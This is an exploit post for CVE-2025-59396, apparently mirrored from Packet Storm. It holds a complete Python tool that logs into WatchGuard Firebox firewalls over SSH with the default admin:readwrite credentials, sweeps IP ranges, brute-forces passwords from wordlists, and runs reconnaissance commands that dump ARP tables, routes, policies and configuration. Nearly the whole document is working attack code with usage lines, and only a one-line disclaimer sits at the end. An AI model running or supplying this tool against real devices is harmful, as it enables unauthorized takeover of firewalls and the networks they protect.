## https://sploitus.com/exploit?id=PACKETSTORM:216939
=============================================================================================================================================
| # Title : WatchGuard Firebox Default SSH Credentials |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.watchguard.com/wgrd-products/firewalls |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211136/ & CVE-2025-59396
[+] Summary : A Python tool to detect CVE-2025-59396 vulnerability in WatchGuard Firebox devices that allows unauthorized access via default credentials (admin:readwrite) on port 4118.
The issue affects WatchGuard Firebox firewall devices running Fireware OS.It is not tied to a specific software version, but to unsafe default settings:
SSH is open on port 4118
Default username: admin
Default password: readwrite
Any Firebox device left with these default credentials is considered vulnerable.
WatchGuard Firebox is vulnerable if default SSH credentials (admin/readwrite) are not changed.
[+] POC :
pip install paramiko
Test single host
python3 watchguard_exploit.py 192.168.1.1
Scan IP range
python3 watchguard_exploit.py -r 192.168.1.1-192.168.1.254
Test multiple hosts from file
python3 watchguard_exploit.py -f targets.txt
Brute force with wordlist
python3 watchguard_exploit.py -u admin -w passwords.txt 192.168.1.1
Quiet mode with output file
python3 watchguard_exploit.py -f targets.txt -q -o vulnerable.txt
===========================
#!/usr/bin/env python3
"""
Exploit for CVE-2025-59396 - WatchGuard Firebox Default SSH Credentials
Author: indoushka
"""
import paramiko
import sys
import socket
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
def exploit_watchguard(target_ip, port=4118, username='admin', password='readwrite', verbose=True):
"""
Test for CVE-2025-59396 vulnerability on a WatchGuard Firebox device
Args:
target_ip (str): Target IP address
port (int): SSH port (default: 4118)
username (str): Username to test (default: admin)
password (str): Password to test (default: readwrite)
verbose (bool): Print verbose output
Returns:
bool: True if vulnerable, False otherwise
dict: Device info if vulnerable
"""
try:
if verbose:
print(f"[*] Attempting to connect to {target_ip}:{port}...")
# Create SSH client
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Attempt connection with default credentials
ssh_client.connect(
hostname=target_ip,
port=port,
username=username,
password=password,
timeout=10,
banner_timeout=15,
look_for_keys=False,
allow_agent=False
)
if verbose:
print(f"[+] SUCCESS! Connected to {target_ip}:{port}")
print(f"[+] Credentials: {username}:{password}")
print(f"[+] Device is vulnerable to CVE-2025-59396")
# Collect device information
device_info = {
'ip': target_ip,
'vulnerable': True,
'credentials': f"{username}:{password}",
'version': None,
'model': None,
'hostname': None
}
# Get basic device info
try:
# Get device version
stdin, stdout, stderr = ssh_client.exec_command('show version')
version_output = stdout.read().decode('utf-8', errors='ignore')
if verbose and version_output:
print(f"\n[+] Device Information:")
print("-" * 50)
print(version_output)
print("-" * 50)
# Extract version from output
device_info['version'] = version_output.split('\n')[0] if version_output else "Unknown"
# Get hostname
stdin, stdout, stderr = ssh_client.exec_command('show hostname')
hostname_output = stdout.read().decode('utf-8', errors='ignore').strip()
device_info['hostname'] = hostname_output if hostname_output else "Unknown"
# Get system status
stdin, stdout, stderr = ssh_client.exec_command('show system')
system_output = stdout.read().decode('utf-8', errors='ignore')
except Exception as e:
if verbose:
print(f"[-] Could not retrieve device info: {e}")
# Example reconnaissance commands (for authorized testing only)
if verbose:
print(f"\n[*] Running reconnaissance commands...")
recon_commands = [
'show arp',
'show interface',
'show policy',
'show route',
'show configuration brief',
]
for cmd in recon_commands:
try:
stdin, stdout, stderr = ssh_client.exec_command(cmd, timeout=3)
result = stdout.read().decode('utf-8', errors='ignore')
if result and len(result) > 10: # Only show if we got meaningful output
print(f"\n[+] Command: {cmd}")
print("-" * 30)
# Show first few lines of output
lines = result.split('\n')[:5]
for line in lines:
if line.strip():
print(f" {line}")
if len(result.split('\n')) > 5:
print(f" ... (output truncated)")
print("-" * 30)
except Exception as e:
if verbose:
print(f"[-] Command '{cmd}' failed: {e}")
ssh_client.close()
if verbose:
print(f"\n[+] Exploit completed successfully!")
print(f"[+] Device {target_ip} is fully compromised")
return True, device_info
except paramiko.AuthenticationException:
if verbose:
print(f"[-] Authentication failed for {target_ip}")
return False, None
except paramiko.SSHException as ssh_err:
if verbose:
print(f"[-] SSH error on {target_ip}: {ssh_err}")
return False, None
except socket.timeout:
if verbose:
print(f"[-] Connection timeout for {target_ip}")
return False, None
except socket.error as sock_err:
if verbose:
print(f"[-] Connection error to {target_ip}: {sock_err}")
return False, None
except Exception as e:
if verbose:
print(f"[-] Unexpected error with {target_ip}: {e}")
return False, None
def scan_network(network_range, ports=[4118], max_workers=10):
"""
Scan a network range for vulnerable WatchGuard devices
Args:
network_range (list): List of IP addresses to scan
ports (list): List of ports to check
max_workers (int): Maximum number of concurrent threads
Returns:
list: List of vulnerable devices
"""
print(f"[*] Starting network scan for {len(network_range)} hosts...")
print(f"[*] Checking port(s): {ports}")
vulnerable_devices = []
def check_host(host):
for port in ports:
try:
# First check if port is open
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((host, port))
sock.close()
if result == 0:
print(f"[+] Port {port} open on {host}")
# Test for vulnerability
vulnerable, info = exploit_watchguard(host, port, verbose=False)
if vulnerable:
print(f"[!] VULNERABLE: {host}:{port}")
vulnerable_devices.append(info)
return host
except:
pass
return None
# Scan hosts concurrently
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = {executor.submit(check_host, host): host for host in network_range}
for future in as_completed(futures):
host = futures[future]
try:
result = future.result()
if result:
print(f"[+] Found vulnerable device: {result}")
except Exception as e:
print(f"[-] Error scanning {host}: {e}")
return vulnerable_devices
def generate_ip_range(start_ip, end_ip):
"""
Generate a list of IP addresses from start to end
Args:
start_ip (str): Starting IP address
end_ip (str): Ending IP address
Returns:
list: List of IP addresses
"""
import ipaddress
start = int(ipaddress.IPv4Address(start_ip))
end = int(ipaddress.IPv4Address(end_ip))
return [str(ipaddress.IPv4Address(ip)) for ip in range(start, end + 1)]
def banner():
print("""
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2025-59396 - WatchGuard Firebox Exploit โ
โ Default SSH Credentials: admin:readwrite โ
โ Port:4118 โ
โ indoushka โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
""")
def main():
banner()
parser = argparse.ArgumentParser(
description='CVE-2025-59396 - WatchGuard Firebox Default SSH Credentials Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s 192.168.1.1 # Test single host
%(prog)s -f targets.txt # Test multiple hosts from file
%(prog)s -r 192.168.1.1-192.168.1.254 # Scan IP range
%(prog)s -p 4118,22 192.168.1.1 # Test multiple ports
%(prog)s -u admin -P pass.txt 192.168.1.1 # Brute force credentials
"""
)
parser.add_argument('target', nargs='?', help='Target IP address')
parser.add_argument('-f', '--file', help='File containing list of targets')
parser.add_argument('-r', '--range', help='IP range (e.g., 192.168.1.1-192.168.1.254)')
parser.add_argument('-p', '--port', default='4118', help='Port(s) to test (comma-separated)')
parser.add_argument('-u', '--username', default='admin', help='Username to test')
parser.add_argument('-w', '--wordlist', help='Password wordlist file')
parser.add_argument('-t', '--threads', type=int, default=5, help='Number of threads')
parser.add_argument('-o', '--output', help='Output file for vulnerable hosts')
parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode')
args = parser.parse_args()
# Parse ports
ports = [int(p.strip()) for p in args.port.split(',')]
# Collect targets
targets = []
if args.file:
try:
with open(args.file, 'r') as f:
for line in f:
target = line.strip()
if target and not target.startswith('#'):
targets.append(target)
print(f"[*] Loaded {len(targets)} targets from {args.file}")
except FileNotFoundError:
print(f"[-] File not found: {args.file}")
return
elif args.range:
try:
start_ip, end_ip = args.range.split('-')
targets = generate_ip_range(start_ip, end_ip)
print(f"[*] Generated {len(targets)} IPs in range {args.range}")
except ValueError:
print("[-] Invalid IP range format. Use: 192.168.1.1-192.168.1.254")
return
elif args.target:
targets = [args.target]
else:
parser.print_help()
return
# Test targets
vulnerable_hosts = []
for target in targets:
print(f"\n[*] Testing {target}...")
if args.wordlist:
# Password brute force mode
try:
with open(args.wordlist, 'r') as f:
passwords = [line.strip() for line in f if line.strip()]
print(f"[*] Testing {len(passwords)} passwords from {args.wordlist}")
for password in passwords:
vulnerable, info = exploit_watchguard(
target,
ports[0],
args.username,
password,
verbose=False
)
if vulnerable:
print(f"[!] CRACKED: {target}:{args.username}:{password}")
vulnerable_hosts.append(info)
break
else:
if not args.quiet:
print(f"[-] Failed: {password}")
except FileNotFoundError:
print(f"[-] Wordlist not found: {args.wordlist}")
else:
# Default credentials test
for port in ports:
vulnerable, info = exploit_watchguard(
target,
port,
args.username,
'readwrite',
verbose=not args.quiet
)
if vulnerable:
vulnerable_hosts.append(info)
break
# Print summary
print(f"\n" + "="*60)
print(f"[*] SCAN SUMMARY")
print(f"="*60)
print(f"[*] Targets tested: {len(targets)}")
print(f"[*] Vulnerable hosts found: {len(vulnerable_hosts)}")
if vulnerable_hosts:
print(f"\n[!] VULNERABLE HOSTS:")
for i, host in enumerate(vulnerable_hosts, 1):
print(f" {i}. {host['ip']}:{ports[0]} - {host.get('version', 'Unknown')}")
# Save to output file
if args.output:
try:
with open(args.output, 'w') as f:
for host in vulnerable_hosts:
f.write(f"{host['ip']}:{ports[0]}\n")
print(f"[+] Vulnerable hosts saved to {args.output}")
except Exception as e:
print(f"[-] Failed to save output: {e}")
print(f"\n[!] WARNING: This tool is for authorized security testing only!")
print(f"[!] Unauthorized use is illegal and unethical.")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[-] Scan interrupted by user")
sys.exit(0)
except Exception as e:
print(f"[-] Fatal error: {e}")
sys.exit(1)
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================